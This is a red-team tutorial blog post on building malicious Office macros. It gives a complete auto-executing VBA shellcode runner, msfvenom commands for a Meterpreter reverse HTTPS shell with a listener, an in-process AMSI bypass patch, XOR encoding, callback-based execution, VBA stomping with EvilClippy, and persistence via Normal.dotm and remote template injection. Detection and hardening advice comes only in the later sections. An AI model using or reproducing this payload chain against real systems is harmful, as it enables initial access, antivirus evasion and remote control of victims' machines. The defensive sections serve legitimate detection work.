Malicious Office Macros: VBA Basics to Shellcode Execution

By Debraj Basak·Jun 21, 2026 · Updated Jun 22, 2026·12 min readRed Teaming

You’ve got a .docm on a target’s desktop and they just clicked “Enable Content.” What actually happens between that click and your Meterpreter session? Most write-ups either stay at the Shell("cmd.exe") toy level or dump a finished payload with no explanation. This walkthrough bridges the gap — from the OLE internals of a macro-laced document through the VirtualAllocRtlMoveMemoryCreateThread shellcode runner, AMSI bypass, callback-based execution, and VBA stomping, all built step-by-step against a self-made lab document. Every offensive step gets its detection pair.


1. What Lives Inside a Macro-Enabled Document

A .docm or .xlsm file is an OLE Compound Document — essentially a filesystem-within-a-file. The VBA project lives in the VBA/ storage, and three streams matter:

StreamPurpose
dirProject metadata — module names, references, GUIDs
VBA/Module streamsRLE-compressed VBA source code per module
_VBA_PROJECTCompiled p-code — version-stamped to the Office build that saved it

Here’s the part that tripped me up the first time I looked at VBA stomping: Office doesn’t always run the source code. If the _VBA_PROJECT version stamp matches the running Office version, the compiled p-code executes directly and the source is never decompressed. This is the entire basis of VBA stomping (Section 8).

Inspect any document’s macro streams with olevba:

pip install oletools
olevba lab_macro.docm

olevba decompresses and displays VBA source, flags suspicious keywords (CreateThread, VirtualAlloc, Shell), and warns on p-code/source mismatches.


2. Auto-Execution Triggers

VBA macros don’t require user interaction beyond the “Enable Content” click. The VBA runtime invokes specific subroutine names automatically:

Auto-triggerHost AppFires When
Document_OpenWord (.docm)Document opens
AutoOpenWord (legacy .doc)Document opens
Workbook_OpenExcel (.xlsm)Workbook opens
Auto_OpenExcel (legacy .xls)Workbook opens
Document_CloseWordDocument closes
Frame1_LayoutWord/Excel (ActiveX)ActiveX frame renders — evades trigger-name scanning

Always implement both Document_Open and AutoOpen — the first is the modern event; the second covers legacy compatibility. Detection that only looks for one misses the other.


3. Calling Win32 APIs from VBA

The Declare keyword imports DLL exports into VBA. On 64-bit Office (VBA7), the PtrSafe keyword is mandatory and pointer-width arguments use LongPtr instead of Long.

The classic shellcode runner needs exactly three functions from kernel32.dll:

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
    (ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
     ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
    (ByVal lDest As LongPtr, ByRef sSource As Any, _
     ByVal lLen As Long) As LongPtr

Private Declare PtrSafe Function CreateThread Lib "kernel32" _
    (ByVal lpSecAttr As Long, ByVal dwStackSize As Long, _
     ByVal lpStartAddr As LongPtr, lpParam As LongPtr, _
     ByVal dwFlags As Long, ByRef lpThreadId As Long) As LongPtr

VirtualAlloc allocates a memory region. RtlMoveMemory copies shellcode bytes into it. CreateThread starts execution at that address. The key constants: 0x3000 (MEM_COMMIT | MEM_RESERVE) and 0x40 (PAGE_EXECUTE_READWRITE). That RWX allocation is the loudest signal a defender can hunt — more on that in Section 9.

The Alias keyword lets you rename an import. This matters for evasion — RtlMoveMemory is a flagged string in AMSI and most static signatures:

Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" _
    (ByVal dest As LongPtr, ByRef src As Any, ByVal length As Long)

Same function, different name in the source. Simple, and still effective against lazy pattern matching.


4. Lab Setup

You need two machines on an isolated host-only network:

RoleOS / Software
VictimWindows 10/11 VM, Office 2019 or 365 (64-bit), Defender disabled for initial testing
AttackerKali Linux, msfvenom, msfconsole, oletools installed

On the victim VM, ensure the Developer tab is enabled in Word (File → Options → Customize Ribbon → check Developer). Disable Protected View for this lab under Trust Center settings — in production, this is exactly what an attacker hopes an admin misconfigured.

Generate Shellcode

Start with a benign calc.exe payload to prove execution, then graduate to a Meterpreter reverse shell:

# Benign proof-of-concept (64-bit)
msfvenom -p windows/x64/exec CMD=calc.exe -f vbapplication

# Meterpreter reverse HTTPS (64-bit)
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.56.10 LPORT=443 \
  EXITFUNC=thread -f vbapplication -o shellcode.vba

The -f vbapplication flag outputs a VBA-ready Array(...) — paste it directly into the macro. Set EXITFUNC=thread so the thread exits cleanly when Word closes rather than crashing the host process.


5. Building the Three-API Shellcode Runner

Open Word → Developer → Visual Basic. Double-click ThisDocument and paste:

#If VBA7 Then
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
    (ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
     ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
    (ByVal lDest As LongPtr, ByRef sSource As Any, _
     ByVal lLen As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
    (ByVal lpSecAttr As Long, ByVal dwStackSize As Long, _
     ByVal lpStartAddr As LongPtr, lpParam As LongPtr, _
     ByVal dwFlags As Long, ByRef lpThreadId As Long) As LongPtr
#End If

Sub Document_Open()
    RunShell
End Sub

Sub AutoOpen()
    RunShell
End Sub

Sub RunShell()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long

    ' --- PASTE msfvenom -f vbapplication output below ---
    buf = Array(72, 131, 228, 240, 232, ...)
    ' --- END shellcode ---

    addr = VirtualAlloc(0, UBound(buf) + 1, &H3000, &H40)

    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        RtlMoveMemory addr + counter, data, 1
    Next counter

    CreateThread 0, 0, addr, 0, 0, 0
End Sub

Save as lab_macro.docm. Close and reopen — click “Enable Content.” With the calc.exe payload, Calculator pops. With Meterpreter, set up your handler first:

msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 192.168.56.10; set LPORT 443; \
  set ExitOnSession false; run -j"

Open the document. Session lands. That’s your baseline — everything from here is refinement and evasion.


Flowchart showing the five-step VBA shellcode execution chain from Enable Content click through VirtualAlloc, RtlMoveMemory, and [CreateThread](https://genxcyber.com/threads-and-the-teb-thread-environment-block/) to a Meterpreter session
The classic three-API pattern: every VBA shellcode runner follows this exact sequence from macro trigger to remote shell.

6. AMSI Bypass

Office 2019+ integrates AMSI into the VBA runtime. amsi.dll gets loaded into WINWORD.EXE and every macro buffer passes through AmsiScanBuffer before execution. Your raw shellcode array with VirtualAlloc and CreateThread will get flagged immediately once you re-enable Defender.

The standard bypass patches AmsiScanBuffer in-process so it returns AMSI_RESULT_CLEAN without scanning. The sequence:

  1. LoadLibraryA("amsi.dll") — get the module handle
  2. GetProcAddress(handle, "AmsiScanBuffer") — resolve the function
  3. VirtualProtect — mark the first bytes as PAGE_EXECUTE_READWRITE
  4. Overwrite with a stub that returns clean: mov eax, 0x80070057; ret (0xB8 0x57 0x00 0x07 0x80 0xC3)

Note the Alias trick — declare RtlFillMemory as Patcher so the string RtlMoveMemory never appears:

Private Declare PtrSafe Function LoadLibraryA Lib "kernel32" _
    (ByVal lpFile As String) As LongPtr
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" _
    (ByVal hMod As LongPtr, ByVal lpName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" _
    (lpAddr As Any, ByVal dwSize As LongPtr, _
     ByVal flProt As Long, lpOld As Long) As Long
Private Declare PtrSafe Sub Patcher Lib "kernel32" Alias "RtlFillMemory" _
    (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)

Sub PatchAMSI()
    Dim hAmsi As LongPtr
    Dim pScan As LongPtr
    Dim oldProt As Long

    hAmsi = LoadLibraryA("amsi.dll")
    pScan = GetProcAddress(hAmsi, "AmsiScanBuffer")
    VirtualProtect ByVal pScan, 8, &H40, oldProt

    ' Overwrite: mov eax, 0x80070057; ret
    Patcher ByVal pScan, 1, &HB8        ' mov eax, imm32
    Patcher ByVal (pScan + 1), 1, &H57  ' 0x57
    Patcher ByVal (pScan + 2), 1, &H0   ' 0x00
    Patcher ByVal (pScan + 3), 1, &H7   ' 0x07
    Patcher ByVal (pScan + 4), 1, &H80  ' 0x80
    Patcher ByVal (pScan + 5), 1, &HC3  ' ret
End Sub

Call PatchAMSI at the top of Document_Open, before RunShell. AMSI is now blind for the remainder of that process.

A gotcha that cost me a solid hour: the string "AmsiScanBuffer" itself triggers AMSI. You can split it at runtime — "Amsi" & "Scan" & "Buffer" — or build it from Chr() calls. The irony of AMSI detecting its own bypass string is almost funny until it blocks your lab work.


Flowchart of the four-step in-process AMSI bypass sequence — loading amsi.dll, resolving AmsiScanBuffer, unprotecting memory, and patching with a clean-return stub
Patching AmsiScanBuffer in-process blinds AMSI for the entire WINWORD.EXE lifetime before the shellcode runner fires.

7. Evasion Techniques

XOR-Encoded Shellcode

Static signatures match raw shellcode byte patterns. XOR the array with a single-byte key before embedding it:

# xor_encode.py — run on Kali
import sys
key = 0xAA
with open(sys.argv[1], "rb") as f:
    raw = bytearray(f.read())
encoded = [b ^ key for b in raw]
print("buf = Array(" + ",".join(str(b) for b in encoded) + ")")
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
python3 xor_encode.py calc.bin

The VBA decode loop XORs each byte back before copying:

Dim key As Byte: key = &HAA
For counter = LBound(buf) To UBound(buf)
    data = buf(counter) Xor key
    RtlMoveMemory addr + counter, data, 1
Next counter

Callback-Based Execution

CreateThread is the most-flagged execution primitive. Several Win32 functions accept callback pointers — point them at your shellcode instead:

Private Declare PtrSafe Function HeapAlloc Lib "kernel32" _
    (ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
     ByVal dwBytes As Long) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function EnumSystemLocalesA Lib "kernel32" _
    (ByVal lpLocaleEnumProc As LongPtr, ByVal dwFlags As Long) As Long

Allocate with HeapAlloc (avoids VirtualAlloc), copy shellcode in, then:

EnumSystemLocalesA addr, 0

EnumSystemLocalesA treats addr as a callback function pointer and calls it. Other callback primitives: FlsAlloc, the Lazarus Group’s UuidFromStringA technique (which copies UUID-encoded shellcode to RWX memory), and DispCallFunc from OleAut32.dll for indirect API invocation. Each one dodges a different set of behavioral signatures.


8. VBA Stomping with EvilClippy

VBA stomping removes the source code from the module streams while preserving the compiled p-code in _VBA_PROJECT. If the victim’s Office version matches the version stamp in the p-code, Office executes the p-code directly and never notices the source is gone — or replaced with something benign.

git clone https://github.com/outflanknl/EvilClippy
cd EvilClippy && dotnet build
# Stomp: replace visible source with benign code
echo 'Sub Document_Open()' > fake.vba
echo '  MsgBox "Hello"' >> fake.vba
echo 'End Sub' >> fake.vba
mono EvilClippy.exe -s fake.vba lab_macro.docm

Verify with olevba — it will report the benign source but flag a p-code/source mismatch. That mismatch is exactly what defenders should hunt for with YARA rules at the email gateway.


Hierarchy diagram of an OLE compound document showing the dir stream, VBA module source streams, and _VBA_PROJECT p-code stream, with EvilClippy replacing source with benign content while malicious p-code remains
VBA stomping exploits the split between human-readable source and compiled p-code — Office runs the p-code while analysts and olevba see only the fake benign source.

9. Persistence via Office Templates

For longer-term access, inject macros into the global template. Every Word document loads Normal.dotm on open:

  • Word: %APPDATA%\Microsoft\Templates\Normal.dotm
  • Excel: %APPDATA%\Microsoft\Excel\XLSTART\PERSONAL.XLSB

Alternatively, hijack the GlobalDotName registry key to redirect Word’s template load path to your controlled .dotm, or use remote template injection — the document’s Settings.xml.rels references a .dotm at a UNC or HTTP path, fetched on open. The document itself contains no macros, evading static analysis. The macro payload lives on your infrastructure.


10. Detection, Hunting, and Hardening

Sysmon Events

Event IDHunt For
1WINWORD.EXE or EXCEL.EXE spawning cmd.exe, powershell.exe, mshta.exe
7Office processes loading VBE7.DLL, VBE7INTL.DLL (macro engine), amsi.dll
8Office process creating remote threads (post-exploitation injection)
10Office process opening handles to lsass.exe
11Office dropping files to %TEMP%, %APPDATA%, Startup folders
12/13Writes to VBAWarnings, TrustRecords registry keys

Sigma Rules

title: Office Application Spawning Shell Process
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    ParentImage|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
      - '\POWERPNT.EXE'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\mshta.exe'
  condition: selection
level: high
title: VBA Macro Engine DLL Loaded by Office
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 7
    Image|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
    ImageLoaded|contains: 'VBE7.DLL'
  condition: selection
level: medium

Hardening

  • ASR Rule D4F940AB-401B-4EFC-AADC-AD5F3C50688A — Block Office apps from creating child processes. This single rule kills the entire macro-to-shell chain.
  • ASR Rule 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 — Block Office apps from injecting code into other processes.
  • Group Policy: Block macros from running in Office files from the Internet (the 2022 MotW-based macro block).
  • VBAWarnings = 4 via GPO — disables all macros without notification.
  • Require signed macros (VBAWarnings = 3) — only digitally signed macros execute.
  • Scan .docm, .xlsm, .dotm at the email gateway with olevba and YARA rules for Declare, VirtualAlloc, CreateThread, and p-code/source mismatches.

11. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Spearphishing AttachmentT1566.001Email gateway, Sysmon Event 11
User Execution: Malicious FileT1204.002Sysmon Event 1 (Office spawning child)
Command and Scripting Interpreter: Visual BasicT1059.005Sysmon Event 7 (VBE7.DLL load), AMSI ETW
Native APIT1106ETW Microsoft-Windows-Threat-Intelligence (RWX alloc)
Obfuscated Files or InformationT1027Static analysis, YARA, olevba keyword scan
VBA StompingT1564.007olevba p-code/source mismatch detection
Office Template MacrosT1137.001Sysmon Event 11 (Normal.dotm modification), registry monitoring
Template InjectionT1221Network monitoring for .dotm fetches on document open
Modify RegistryT1112Sysmon Event 13 (VBAWarnings writes)

12. Tools

ToolPurposeLink
olevba (oletools)Extract & analyze VBA from OLE documentsgithub.com/decalage2/oletools
oledump.pyLow-level OLE stream inspectionblog.didierstevens.com
EvilClippyVBA stomping — replace source, preserve p-codegithub.com/outflanknl/EvilClippy
msfvenomShellcode generation (vbapplication format)metasploit.com
Process HackerInspect loaded DLLs, memory regions in Office processprocesshacker.sourceforge.io
x64dbgDebug Office process, verify shellcode executionx64dbg.com
SysmonEndpoint telemetry (Events 1, 7, 8, 10, 11, 13)learn.microsoft.com

Summary

  • The three-API pattern — VirtualAllocRtlMoveMemoryCreateThread — is the foundation of every VBA shellcode runner, and understanding it end-to-end is prerequisite to both building and detecting macro payloads.
  • Auto-trigger subs (Document_Open, AutoOpen) execute on “Enable Content” with zero further interaction; pair both in every payload for compatibility.
  • AMSI integration in Office 2019+ catches raw payloads; the in-process AmsiScanBuffer patch bypasses it, but the Alias keyword and string-splitting are needed to avoid AMSI flagging the bypass itself.
  • Callback-based execution (EnumSystemLocalesA, FlsAlloc, UuidFromStringA) and VBA stomping raise the evasion bar — detect them with ETW telemetry, olevba p-code analysis, and behavioral rules rather than static signatures.
  • ASR rule D4F940AB (block Office child processes) kills the entire chain. Deploy it. Scan inbound documents at the gateway with olevba and YARA. Hunt Sysmon Event 7 for VBE7.DLL loads and Event 1 for Office-spawned shells.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.